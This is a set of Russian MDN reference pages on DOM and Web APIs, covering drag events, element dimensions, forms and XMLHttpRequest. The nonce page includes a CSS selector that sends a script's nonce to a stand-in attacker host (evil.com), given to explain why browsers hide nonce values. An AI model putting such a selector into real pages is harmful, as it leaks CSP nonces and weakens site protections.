```

var dragstartHandler = targetElement.ondragstart;
```

### Возвращаемое значение

`dragstartHandler`

Обработчик событий *dragstart* для элемента `targetElement`.

Пример
------

Этот пример демонстрирует использование `ondragstart` атрибута обработчика для установки обработчика событий элемента `dragstart (en-US)`.

```js
<!DOCTYPE html>
<html lang=en>
<title>Examples of using the ondrag Global Event Attribute</title>
<meta content="width=device-width">
<style>
  div {
    margin: 0em;
    padding: 2em;
  }
  #source {
    color: blue;
    border: 1px solid black;
  }
  #target {
    border: 1px solid black;
  }
</style>
</head>
<script>
function drag\_handler(ev) {
 console.log("Drag");
}

function dragstart\_handler(ev) {
 console.log("dragStart");
 ev.dataTransfer.setData("text", ev.target.id);
}

function drop\_handler(ev) {
 console.log("Drop");
 ev.currentTarget.style.background = "lightyellow";

 ev.preventDefault();
 var data = ev.dataTransfer.getData("text");
 ev.target.appendChild(document.getElementById(data));
}

function dragover\_handler(ev) {
 console.log("dragOver");
 ev.preventDefault();
}
</script>
<body>
<h1>Examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1>
 <div>
   <p id="source" ondrag="drag\_handler(event);" ondragstart="dragstart\_handler(event);" draggable="true">
     Select this element, drag it to the Drop Zone and then release the selection to move the element.</p>
 </div>
 <div id="target" ondrop="drop\_handler(event);" ondragover="dragover\_handler(event);">Drop Zone</div>
</body>
</html>
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # ix-handler-ondragstart |
| HTML Standard # event-dnd-dragstart |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `dragstart (en-US)`


Element.accessKey - Интерфейсы веб API

Element.accessKey
=================

Описание
--------

Свойство **accessKey** позволяет перейти к элементу с помощью сочетания клавиш - заданной им и тех, что назначит браузер.

**Примечание:** По сути, **accessKey** задаёт значение для одноимённого атрибута...

**Предупреждение:** Данное свойство использовать не рекомендуется, поскольку в браузерах уже заданы подобные привязки и неосторожное обращение может привести к жестокому конфликту.

Синтаксис
---------
```

var key = elem.accessKey;
elem.accessKey = key;
```

Пример
------

```js
var elem = document.getElementById("id");
elem.accessKey = "w";
```

Немного информации
------------------

Фокусировка на элемент произойдёт при нажатии следующих клавиш (,где **acesskey** - значение свойства **`acessKey`**).

|  |  |
| --- | --- |
| **Браузер** | Сочетание |
| Firefox | [Alt] [Shift] + *accesskey* |
| Internet Explorer | [Alt] + *accesskey* |
| Chrome | [Alt] + *accesskey* |
| Safari | [Alt] + *accesskey* |
| Opera | [Shift] [Esc] + *accesskey* |


HTMLElement.outerText - Интерфейсы веб API

HTMLElement.outerText
=====================

**Не стандартно:** Эта возможность не является стандартной и стандартизировать её пока никто не собирается. Не используйте её на сайтах, смотрящих во внешний мир: она будет работать не у всех пользователей. Также могут присутствовать большие несовместимости между реализациями и её поведение может в будущем измениться.

**`HTMLElement.outerText`** - нестандартное свойство. В качестве геттера возвращает то же значение, что и `Node.innerText`. В качестве сеттера удаляет текущий элемент и вставляет вместо него указанный текст.

Пример
------

См. ответ на StackOverflow.

Спецификация
------------

Не является частью какой-либо спецификации. Обсуждение стандарта: whatwg/html#668.

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `Node.innerText`
* `Element.outerHTML`


error - Интерфейсы веб API

error
=====

Событие `error` возникает, когда произошла какая-либо ошибка. Точные обстоятельства могут быть различными, потому что события с этим именем используются множеством различных API.

Общая информация
----------------

Спецификация

DOM L3

Интерфейс

`UIEvent` (en-US) если создаётся элементом пользовательского интерфейса, `MediaRecorderErrorEvent` (en-US) если генерируется API записи MediaStream, и `Event` иначе.

Вплывающее

Нет

Отменяемое

Нет

Цель

Элемент

Действие по умолчанию

Нет

Свойства
--------

| Property | Type | Description |
| --- | --- | --- |
| `target` Только для чтения  | `EventTarget` | Цель события (наиболее верхлежащий элемент в DOM дереве). |
| `type` Только для чтения  | `DOMString` | Тип события. |
| `bubbles` Только для чтения  | `Boolean` (en-US) | Является ли событие вплывающим в стандартных условиях или нет. |
| `cancelable` Только для чтения  | `Boolean` (en-US) | Является ли событие отменяемым или нет. |
| `view` Только для чтения  | `WindowProxy` | `document.defaultView` (свойство `window` объекта document) |
| `detail` Только для чтения  | `long` (`float`) | 0. |

### Для MediaStream Recording событий

Эти события типа `MediaRecorderErrorEvent` (en-US).

Смотрите также
--------------

`GlobalEventHandlers.onerror`

События отсылаются в `Window.onerror` и `Element.onerror`

`HTMLMediaElement.onerror` (en-US)

События отсылаются в `HTMLMediaElement`, включая `<audio>` и `<video>`

`MediaRecorder.onerror` (en-US)

События отсылаются в `MediaRecorder.onerror` (en-US), типа `MediaRecorderErrorEvent` (en-US)


HTMLElement.offsetHeight - Интерфейсы веб API

HTMLElement.offsetHeight
========================

**`HTMLElement.offsetHeight`** - высота элемента с учётом вертикальных полей и границ в пикселях. Свойство неизменяемое, только для чтения. Возвращаемое значение - целочисленное.

Typically, an element's `offsetHeight` is a measurement which includes the element borders, the element vertical padding, the element horizontal scrollbar (if present, if rendered) and the element CSS height.

For the document body object, the measurement includes total linear content height instead of the element CSS height. Floated elements extending below other linear content are ignored.

**Примечание:** This property will round the value to an integer. If you need a fractional value, use `element.getBoundingClientRect()`.

Syntax
------

```js
var intElemOffsetHeight =
  document.getElementById(id_attribute_value).offsetHeight;
```

*intElemOffsetHeight* is a variable storing an integer corresponding to the offsetHeight pixel value of the element. The offsetHeight property is readonly.

Example
-------

![](/ru/docs/Web/API/HTMLElement/offsetHeight/dimensions-offset.png)

The example image above shows a scrollbar and an offsetHeight which fits on the window. However, non-scrollable elements may have large offsetHeight values, much larger than the visible content. These elements are typically contained within scrollable elements; consequently these non-scrollable elements may be completely or partly invisible, depending on the scrollTop setting of the scrollable container.

Specification
-------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetheight |

### Notes

`offsetHeight` is a property of the DHTML object model which was first introduced by MSIE. It is sometimes referred to as an element's physical/graphical dimensions, or an element's border-box height.

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See Also
--------

* `Element.clientHeight`
* `Element.scrollHeight`
* `HTMLElement.offsetWidth`
* Determining the dimensions of elements (en-US)
* MSDN Measuring Element Dimension and Location


HTMLElement: свойство nonce - Интерфейсы веб API

HTMLElement: свойство nonce
===========================

Свойство **`nonce`** интерфейса `HTMLElement` возвращает одноразовый криптографический код, используемый Content Security Policy для определения возможности продолжения обработки запроса.

В современных реализациях элементы предоставляют свой атрибут `nonce` только скриптам (но не CSS-селекторам, например).

Примеры
-------

### Получение значения nonce

В прошлом не все браузеры поддерживали IDL-атрибут `nonce`, поэтому было распространено использование `getAttribute` в качестве запасного варианта:

```js
let nonce = script["nonce"] || script.getAttribute("nonce");
```

Современные браузеры не дают получить значения `nonce` таким путём (будет возвращена пустая строка). IDL-свойство (`script['nonce']`) является единственным способом получения `nonce`.

Скрытие `nonce` помогает предотвратить их получение злоумышленниками с помощью механизмов, которые могут собирать данные из атрибутов содержимого, таких как этот селектор CSS:

```css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-noncedelement-nonce |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* Глобальный атрибут `nonce` (en-US)
* Content Security Policy
* CSP: `script-src` (en-US)


HTMLElement.offsetWidth - Интерфейсы веб API

HTMLElement.offsetWidth
=======================

Свойство **`HTMLElement.offsetWidth`** возвращает ширину элемента. Как правило, `offsetWidth` — это значение, включающее горизонтальный отступ элемента, ширину вертикального скроллбара (если он есть) и CSS ширину.

Синтаксис
---------
```

var offsetWidth = element.offsetWidth;
```

`offsetWidth` — свойство только для чтения

**Примечание:** Это свойство возвращает целочисленное значение. Если вам требуется дробное значение, используйте `element.getBoundingClientRect()`.

Пример
------

![](/ru/docs/Web/API/HTMLElement/offsetWidth/dimensions-offset.png)

Спецификации
------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetwidth |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `Element.clientWidth`
* `Element.scrollWidth` (en-US)
* Determining the dimensions of elements (en-US)


Node.innerText - Интерфейсы веб API

Node.innerText
==============

**`Node.innerText`** - это свойство, позволяющее задавать или получать текстовое содержимое элемента и его потомков. В качестве геттера, свойство приближается к тексту, который пользователь получит, если он выделит содержимое элемента курсором, затем копирует его в буфер обмена.

Изначально, данное поведение было представлено Internet Explorer, и было формально специализированно в стандарте HTML в 2016 после того, как было адаптировано всеми ведущими браузерами.

`Node.textContent` - это альтернативное свойство, которое имеет ряд отличий:

* `textContent` получает содержимое *всех* элементов, включая `<script>` и `<style>`, тогда как `innerText` этого не делает.
* `innerText` умеет считывать стили и не возвращает содержимое скрытых элементов, тогда как `textContent` этого не делает.
* Метод `innerText` позволяет получить CSS, а `textContent` — нет.
Спецификация
------------

| Specification |
| --- |
| HTML Standard # the-innertext-idl-attribute |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `HTMLElement.outerText`
* `Element.innerHTML`


HTMLElement.contentEditable - Интерфейсы веб API

HTMLElement.contentEditable
===========================

Свойство **`HTMLElement.contentEditable`** элемента - признак, указывающий можно или нет редактировать содержимое элемента. Свойство может принимать следующие значения:

* `true или пустая строка - содержимое элемента доступно для редактирования`.
* `false` - содержимое элемента не доступно для редактирования.
* `inherit` - наследуется значение данного свойства от родительского элемента.

Вы можете использовать свойство `HTMLElement.isContentEditable` (en-US), чтобы проверить `Boolean` (en-US) значение этого свойства.

Синтаксис
---------
```

editable = element.contentEditable
element.contentEditable = "true"
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # contenteditable |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

 In Internet Explorer, `contenteditable` cannot be applied to the
 `<table>` (en-US), `<col>`, `<colgroup>` (en-US),
 `<tbody>` (en-US), `<td>`, `<tfoot>`,
 `<th>` (en-US), `<thead>` (en-US), and `<tr>` (en-US) elements
 directly. A content editable `<span>` or `<div>` element
 can be placed inside the individual table cells.

See also
--------

* `HTMLElement.isContentEditable` (en-US)
* The contenteditable global attribute.
* Why ContentEditable is Terrible, Or: How the Medium Editor Works


GlobalEventHandlers.onchange - Интерфейсы веб API

GlobalEventHandlers.onchange
============================

Свойство `onchange` (Дословно "На изменение") устанавливает и возвращает обработчик события, для события `change (en-US)` (Изменение чего-либо).

Синтаксис
---------
```

element.onchange = handlerFunction; // handlerFunction - ссылка на функцию обработчик, установленная как свойство onchange, для элемента element
var handlerFunction = element.onchange;
```

`handlerFunction` должна быть либо функцией определяющей обработчик события, либо `null` .

Примечания
----------

Почитайте страницу DOM обработчики события (en-US) , там содержится вся информация о работе с `on...` обработчиками.

Документация по событию `change (en-US)`.

Спецификации
------------

| Specification |
| --- |
| HTML Standard # event-change |
| HTML Standard # handler-onchange |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLElement.offsetTop - Интерфейсы веб API

HTMLElement.offsetTop
=====================

**`HTMLElement.offsetTop`** - свойство элемента доступно только для чтения, возвращает расстояние текущего элемента по отношению к верхней части `offsetParent` (en-US) узла.

Синтаксис
---------

```js
topPos = element.offsetTop;
```

### Параметры

* `topPos` - `это количество пикселей на которые делается отступ сверху, отсносительно родительского элемента.`
Пример
------

```js
var d = document.getElementById("div1");
var topPos = d.offsetTop;

if (topPos > 10) {
  // объект имеет отступ больше
  // чем 10 пикселей относительно своего родителя
}
```

Спецификации
------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsettop |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLElement.click() - Интерфейсы веб API

HTMLElement.click()
===================

Метод **`HTMLElement.click()`** имитирует клик мышкой по элементу.

Когда `click()` используется с поддерживающими его элементами (такими, например, как `<input>`), он вызывает срабатывание события клика мышкой. Это событие затем всплывает вверх по дереву элементов (или цепочке событий) и вызывает срабатывание уже их событий по клику мышкой.

Syntax
------
```

element.click()
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-click-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


GlobalEventHandlers.onsubmit - Интерфейсы веб API

GlobalEventHandlers.onsubmit
============================

Обработчик события отправки формы

Синтаксис
---------
```

window.onsubmit = funcRef;
```

### Параметры

* `funcRef` – ссылка на функцию.
Пример
------
```

<html>
<script>
function reg() {
  window.captureEvents(Event.SUBMIT);
  window.onsubmit = hit;
}

function hit() {
  console.log('hit');
}
</script>

<body onload="reg();">
<form>
  <input type="submit" value="submit" />
</form>
<div id="d"> </div>
</body>
</html>
```

Замечания
---------

Событие `submit` возникает, когда пользователь кликает на кнопку "Отправить" в форме (`<input type="submit"/>`)

Событие `submit` не возникает, когда пользователь вызывает функцию `form.submit()` напрямую

Спецификации
------------

| Specification |
| --- |
| HTML Standard # event-submit |
| HTML Standard # handler-onsubmit |


HTMLFormElement.submit() - Интерфейсы веб API

HTMLFormElement.submit()
========================

Метод **`HTMLFormElement.submit()`** позволяет отправить форму `<form>`.

Этот метод похож, но не идентичен кнопке `<button>`. , который активирует отправку формы. Однако при непосредственном вызове этого метода:

* Событие `submit (en-US)` не инициировано. В частности, обработчик события `onsubmit` для данной формы не запускается.
* Проверка ограничений (en-US) не запускается.

Метод `HTMLFormElement.requestSubmit()` (en-US) идентичен кнопке `<button>` , которая активирует отправку формы и не имеет различий, указанных выше.

Если элемент управления формы (например, кнопка отправки) имеет `name` или `id` кнопки `submit`, тогда этот метод будет маскировать метод `submit` формы..

Syntax
------
```

HTMLFormElement.submit()
```

Example
-------

```js
document.forms["myform"].submit();
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-form-submit-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLFormElement.reset() - Интерфейсы веб API

HTMLFormElement.reset()
=======================

Метод **`HTMLFormElement.reset()`** восстанавливает стандартные значения всем элементам формы. Данный метод выполняет действие идентичное нажатию кнопки имеющей тип reset.

Если элемент управления формы (такой как кнопка типа reset) имеет имя или идентификатор reset, это маскирует метод **`HTMLFormElement.reset()`**. Это не сбрасывает другие атрибуты, такие как **disabled**.

Синтаксис
---------

```js
HTMLFormElement.reset();
```

Пример
------

```js
document.getElementById("myform").reset();
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-form-reset-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLFormElement.reportValidity() - Интерфейсы веб API

HTMLFormElement.reportValidity()
================================

Baseline 2023
-------------

Newly availableSince March 2023, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.

* Learn more
* See full compatibility
* Report feedback
Метод **`HTMLFormElement.reportValidity()`** возвращает **`true`** если все дочерние элементы прошли проверку. Когда возвращается **`false`**, по каждому дочернему элементу не прошедшему проверку генерируется событие `invalid` и пользователю сообщаются проблемы проверки.

Синтаксис
---------
```

HTMLFormElement.reportValidity()
```

Пример
------
```

document.forms["myform"].addEventListener('invalid', function() {
  //Опциональный ответ здесь.
}, false);

document.forms["myform"].addEventListener('submit', function() {
  document.forms["myform"].reportValidity();
}, false);
```

Спецификация
------------

HTML 5.1 Forms: The Constraint Validation API

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLFormElement.length - Интерфейсы веб API

HTMLFormElement.length
======================

**`HTMLFormElement.length`** - свойство только для чтения, которое возвращает количество элементов управления в элементе `<form>`. Вы можете получить доступ к списку элементов управления формы с помощью свойства `elements`.

Это свойство учитывает элементы, которые являются потомками элемента `<form>`, а также элементы, которые были определены как члены этой формы с помощью их свойства `form`.

Синтаксис
---------

```js
numControls = form.length;
```

### Значение

Количество управляющих элементов внутри формы `<form>`. Это то же число, что и число элементов в `HTMLFormControlsCollection` (en-US), возвращаемой свойством `elements`.

Пример
------

```js
if (document.getElementById("form1").length > 1) {
  // в форме больше одного управляющего элемента
}
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-form-length-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLFormElement: свойство elements - Интерфейсы веб API

HTMLFormElement: свойство elements
==================================

Свойство **`elements`** интерфейса `HTMLFormElement` (en-US) возвращает список `HTMLFormControlsCollection` (en-US), содержащий все элементы управления `<form>`.

Для получения только количества элементов управления формы можно использовать свойство `HTMLFormElement.length`.

Для получения доступа к определенному элементу управления в возвращаемой коллекции используйте индекс или атрибуты `name` и `id`.

До HTML 5 возвращаемым объектом был `HTMLCollection`, на котором основан `HTMLFormControlsCollection`.

**Примечание:** Аналогичным образом можно получить список всех форм, содержащихся в документе, используя свойство документа `forms`.

Значение
--------

`HTMLFormControlsCollection` (en-US), которое содержит все элементы управления, не являющиеся изображениями.
 Это «живой» список, если у формы добавляются или удаляются элементы, то список обновляется.

Элементы управления в возвращаемом списке расположены в порядке, в котором они появляются в форме, после предварительного порядка обхода дерева в глубину. Это называется **порядок дерева**.

Возвращаются только следующе элементы:

* `<button>`
* `<fieldset>`
* `<input>` (за исключением элементов, у которых атрибут `type` равен `"image"`, по историческим причинам)
* `<object>` (en-US)
* `<output>`
* `<select>`
* `<textarea>` (en-US)
Примеры
-------

### Простой пример синтаксиса

В этом примере мы получаем список элементов управления формы, а также доступ к его членам по индексу, имени или идентификатору.

```html
<form id="my-form">
  <label>
    Username:
    <input type="text" name="username" />
  </label>
  <label>
    Full name:
    <input type="text" name="full-name" />
  </label>
  <label>
    Password:
    <input type="password" name="password" />
  </label>
</form>
```

```js
const inputs = document.getElementById("my-form").elements;
const inputByIndex = inputs[0];
const inputByName = inputs["username"];
```

### Доступ к элементам управления

В этом примере мы получаем список элементов формы, а затем выполняем поиск элементов `<input>` c типом `<input/text>` (en-US), чтобы обработать их.

```js
const inputs = document.getElementById("my-form").elements;

// Получаем элементы формы
for (let i = 0; i < inputs.length; i++) {
  if (inputs[i].nodeName === "INPUT" && inputs[i].type === "text") {
    // Изменяем значение
    inputs[i].value.toLocaleUpperCase();
  }
}
```

### Отключение элементов управления

```js
const inputs = document.getElementById("my-form").elements;

// Получаем элементы формы
for (let i = 0; i < inputs.length; i++) {
  // Отключаем все элементы формы
  inputs[i].setAttribute("disabled", "");
}
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-form-elements-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Синхронные и асинхронные запросы - Интерфейсы веб API

Синхронные и асинхронные запросы
================================

`XMLHttpRequest` поддерживает как синхронные, так и асинхронные запросы. В основном предпочтительно использовать асинхронные запросы вместо синхронных из-за соображений производительности.

Синхронный запрос приводит к выполнению кода, который "блокирует" взаимодействие с вкладкой браузера до тех пор, пока запрос не будет полностью выполнен, что существенно ухудшает отклик страницы.

Асинхронные запросы
-------------------

Если вы используете асинхронный режим `XMLHttpRequest`, то после того, как данные будут получены, будет вызвана функция обработчик. Это позволяет браузеру работать нормально пока ваш запрос будет обрабатываться.

### Пример: отправка запроса и получение файла ответа

`Приведём простейший пример асинхронного запроса XMLHttpRequest`.

```js
var xhr = new XMLHttpRequest();
xhr.open("GET", "/bar/foo.txt", true);
xhr.onload = function (e) {
  if (xhr.readyState === 4) {
    if (xhr.status === 200) {
      console.log(xhr.responseText);
    } else {
      console.error(xhr.statusText);
    }
  }
};
xhr.onerror = function (e) {
  console.error(xhr.statusText);
};
xhr.send(null);
```

2 строка. 3 параметр метода `open` установлен как `true` для того, чтобы явно указать, что этот запрос будет обрабатываться асинхронно.

3 строка. Создаётся функция обработчик события `onload`. Этот обработчик следить за параметром `readyState`, для того, чтобы определить завершена ли передача данных и если это так и HTTP статус 200, то полученные данные выводятся в консоль. А если в результате передачи данных возникла ошибка, то сообщение об ошибки будет выведено в консоль.

15 строка. Происходит инициализация отправки запроса. Функция обработчик будет вызываться каждый раз, как будет происходить изменения состояния данного запроса.

### Пример: создание стандартной функции для чтения внешних файлов

 В разных сценариях существует необходимость принимать внешние файлы (ответ от сервера, к примеру, json файл). Это стандартная функция, которая использует
 `XMLHttpRequest` объект асинхронно, чтобы передать прочитанный контент в специальную функцию обработчик.

```js
function xhrSuccess() {
  this.callback.apply(this, this.arguments);
}

function xhrError() {
  console.error(this.statusText);
}

function loadFile(url, callback /\*, opt\_arg1, opt\_arg2, ... \*/) {
  var xhr = new XMLHttpRequest();
  xhr.callback = callback;
  xhr.arguments = Array.prototype.slice.call(arguments, 2);
  xhr.onload = xhrSuccess;
  xhr.onerror = xhrError;
  xhr.open("GET", url, true);
  xhr.send(null);
}
```

Использование:

```js
function showMessage(message) {
  console.log(message + this.responseText);
}

loadFile("message.txt", showMessage, "New message!\n\n");
```

Сигнатура вспомогательной функции `LoadFile` следующая: 1 аргумент - URL адрес для запроса (через HTTP GET), 2 аргумент - функция, которая будет вызвана после успешного выполнения ajax запроса и 3 аргумент - список аргументов, которые будут передаваться через XHR объект в функцию, которая была указана во 2 аргументе.

Строка 1 определяет функцию, которая будет вызвана, когда ajax запрос завершиться успешно. В свою очередь это вызовет функции callback, которая была указана в вызове функции `loadFile` (то есть функция `showMessage`) которая была обозначена как свойство `XHR` объекта (строка 11). Дополнительные аргументы, которые были указаны при вызове функции `loadFile`, подставляются в вызов callback функции.

Строка 5 определяет функцию, которая будет вызвана в случаи, если ajax запрос не сможет завершиться успешно.

Строка 11 сохраняет в `XHR` объекте функцию, которая будет вызвана после успешного завершения ajax запроса. (эта функция передаётся 2 аргументов в вызове функции `loadFile`).

12 строка срезает псевдомассив аргументов, который был передан при вызове функции `loadFile`. Начиная с 3 аргумента все аргументы будут хранится в массиве arguments объекта `xhr`, который передаётся в функцию `xhrSuccess` и в конечном итоге будут использованы при вызове функции `showMessage`, которая будет вызвана функцией `xhrSuccess` .

Строка 15 устанавливает `true` для 3 параметра, что явно указывает на то, что запрос будет выполняться асинхронно.

Строка 16 инициализирует запрос.

### Пример: использование timeout

При использовании асинхронных запросов, можно установить максимальное время ожидания ответа от сервера. Это делается путём установки значения свойства `timeout` `XMLHttpRequest` объекта, как показано ниже:

```js
function loadFile(url, timeout, callback) {
  var args = Array.prototype.slice.call(arguments, 3);
  var xhr = new XMLHttpRequest();
  xhr.ontimeout = function () {
    console.error("The request for " + url + " timed out.");
  };
  xhr.onload = function () {
    if (xhr.readyState === 4) {
      if (xhr.status === 200) {
        callback.apply(xhr, args);
      } else {
        console.error(xhr.statusText);
      }
    }
  };
  xhr.open("GET", url, true);
  xhr.timeout = timeout;
  xhr.send(null);
}
```

Отметим, что в код была добавлена функция обработчик события `ontimeout`.

Использование:

```js
function showMessage(message) {
  console.log(message + this.responseText);
}

loadFile("message.txt", 2000, showMessage, "New message!\n");
```

2 аргумент функции `loadFile` устанавливает время ожидание равное 2000ms.

**Примечание:** Поддержка `timeout` была добавлена начиная с Gecko 12.0.

Synchronous request
-------------------

**Примечание:** Starting with Gecko 30.0, Blink 39.0, and Edge 13, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.

Synchronous XHR often causes hangs on the web. But developers typically don't notice the problem because the hang only manifests during poor network conditions or slow server response. Synchronous XHR is now in deprecation state. Developers are recommended to move away from the API.

All new XHR features such as `timeout` or `abort` aren't allowed for synchronous XHR. Doing so would invoke `InvalidAccessError`.

### Example: HTTP synchronous request

This example demonstrates how to make a simple synchronous request.

```js
var request = new XMLHttpRequest();
request.open("GET", "/bar/foo.txt", false); // `false` makes the request synchronous
request.send(null);

if (request.status === 200) {
  console.log(request.responseText);
}
```

Line 3 sends the request. The `null` parameter indicates that no body content is needed for the `GET` request.

Line 5 checks the status code after the transaction is completed. If the result is 200 — HTTP's "OK" result — the document's text content is output to the console.

### Example: Synchronous HTTP request from a `Worker`

One of the few cases in which a synchronous request does not usually block execution is the use of `XMLHttpRequest` within a `Worker`.

**`example.html`** (the main page):

```html
<!doctype html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>MDN Example</title>
    <script type="text/javascript">
 var worker = new Worker("myTask.js");
 worker.onmessage = function (event) {
 alert("Worker said: " + event.data);
 };

 worker.postMessage("Hello");
 </script>
  </head>
  <body></body>
</html>
```

**`myFile.txt`** (the target of the synchronous `XMLHttpRequest` invocation):
```

Hello World!!
```

**`myTask.js`** (the `Worker`):

```js
self.onmessage = function (event) {
  if (event.data === "Hello") {
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "myFile.txt", false); // synchronous request
    xhr.send(null);
    self.postMessage(xhr.responseText);
  }
};
```

**Примечание:** The effect, because of the use of the `Worker`, is however asynchronous.

It could be useful in order to interact in the background with the server or to preload some content. See Using web workers for examples and details.

### Adapting Sync XHR usecases to the Beacon API

There are some cases in which the synchronous usage of XMLHttpRequest was not replaceable, like during the `window.onunload` and `window.onbeforeunload` (en-US) events. You should consider using the `fetch` API with `keepalive` flag. When `fetch` with `keepalive` isn't available, you can consider using the navigator.sendBeacon API can support these use cases typically while delivering a good UX.

The following example (from the sendBeacon docs) shows a theoretical analytics code that attempts to submit data to a server by using a synchronous XMLHttpRequest in an unload handler. This results in the unloading of the page to be delayed.

```js
window.addEventListener("unload", logData, false);

function logData() {
  var client = new XMLHttpRequest();
  client.open("POST", "/log", false); // third parameter indicates sync xhr. :(
  client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
  client.send(analyticsData);
}
```

Using the **`sendBeacon()`** method, the data will be transmitted asynchronously to the web server when the User Agent has had an opportunity to do so, **without delaying the unload or affecting the performance of the next navigation.**

The following example shows a theoretical analytics code pattern that submits data to a server by using the **`sendBeacon()`** method.

```js
window.addEventListener("unload", logData, false);

function logData() {
  navigator.sendBeacon("/log", analyticsData);
}
```

Смотрите также
--------------

* Использование XMLHttpRequest
* `navigator.sendBeacon`


Отправка и получение бинарных данных - Интерфейсы веб API

Отправка и получение бинарных данных
====================================

Получение бинарных данных используя JavaScript arrays
-----------------------------------------------------

Свойство responseType объекта XMLHttpRequest можно задать для изменения ожидаемого типа ответа с сервера. Возможные значения: пустая строка (по умолчанию), "arraybuffer", "blob", "document", "json" и "text". Свойство response будет содержать тело сущности в соответствии с типом ответа, как ArrayBuffer, Blob, Document, JSON или string. Это значение равно null, если запрос не завершён или не был успешным.

В этом примере изображение считывается как двоичный файл и создаётся 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится библиотека декодирования png.

```js
var oReq = new XMLHttpRequest();
oReq.open("GET", "/myfile.png", true);
oReq.responseType = "arraybuffer";

oReq.onload = function (oEvent) {
  var arrayBuffer = oReq.response; // Note: not oReq.responseText
  if (arrayBuffer) {
    var byteArray = new Uint8Array(arrayBuffer);
    for (var i = 0; i < byteArray.byteLength; i++) {
      // do something with each byte in the array
    }
  }
};

oReq.send(null);
```

Альтернатива вышеуказанному методу использует интерфейс `Blob` для непосредственного построения Blob с данными arraybuffer.

```js
var oReq = new XMLHttpRequest();
oReq.open("GET", "/myfile.png", true);
oReq.responseType = "arraybuffer";

oReq.onload = function (oEvent) {
  var blob = new Blob([oReq.response], { type: "image/png" });
  // ...
};

oReq.send();
```

Также вы можете прочитать двоичный файл как `Blob`, установив строку" blob " в свойство responseType.

```js
var oReq = new XMLHttpRequest();
oReq.open("GET", "/myfile.png", true);
oReq.responseType = "blob";

oReq.onload = function (oEvent) {
  var blob = oReq.response;
  // ...
};

oReq.send();
```

Получение бинарных данных в старых браузерах
--------------------------------------------

Функция load\_binary\_resource(), показанная ниже, загружает двоичные данные из указанного URL, возвращая их вызывающему объекту.

```js
function load\_binary\_resource(url) {
  var req = new XMLHttpRequest();
  req.open("GET", url, false);
  //XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com]
  req.overrideMimeType("text/plain; charset=x-user-defined");
  req.send(null);
  if (req.status != 200) return "";
  return req.responseText;
}
```

Магия происходит в строке 5, которая переопределяет тип MIME, заставляя браузер рассматривать его как обычный текст, используя пользовательский набор символов. Это говорит браузеру не анализировать его и пропускать байты через необработанные.

```js
var filestream = load\_binary\_resource(url);
var abyte = filestream.charCodeAt(x) & 0xff; // throw away high-order byte (f7)
```

The example above fetches the byte at offset `x` within the loaded binary data. The valid range for `x` is from 0 to `filestream.length-1`.

See downloading binary streams with XMLHttpRequest for a detailed explanation. See also downloading files.

Получение бинарных данных из различных источников
-------------------------------------------------

Библиотека jBinary для работы с бинарными данными в JavaScript позволяет загрузить данные из любого источника, автоматически определяя лучший способ для этого в текущем браузере или Node.js:

```js
jBinary.load(url).then(function (binary) {
  // здесь аргумент `binary` может использовться для обработки данных
  // в любом формате (строка, массив байтов, структура данных и т. д.)
});
```

Отправка бинарных данных
------------------------

Метод `send` объекта XMLHttpRequest был расширен, чтобы обеспечить лёгкую передачу бинарных данных - теперь он принимает объекты `ArrayBuffer` (en-US), `Blob`, или `File`.

В примере ниже на лету создаётся текстовый файл и отправляется методом `POST` на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.

```js
var oReq = new XMLHttpRequest();
oReq.open("POST", url, true);
oReq.onload = function (oEvent) {
  // Uploaded.
};

var blob = new Blob(["abc123"], { type: "text/plain" });

oReq.send(blob);
```

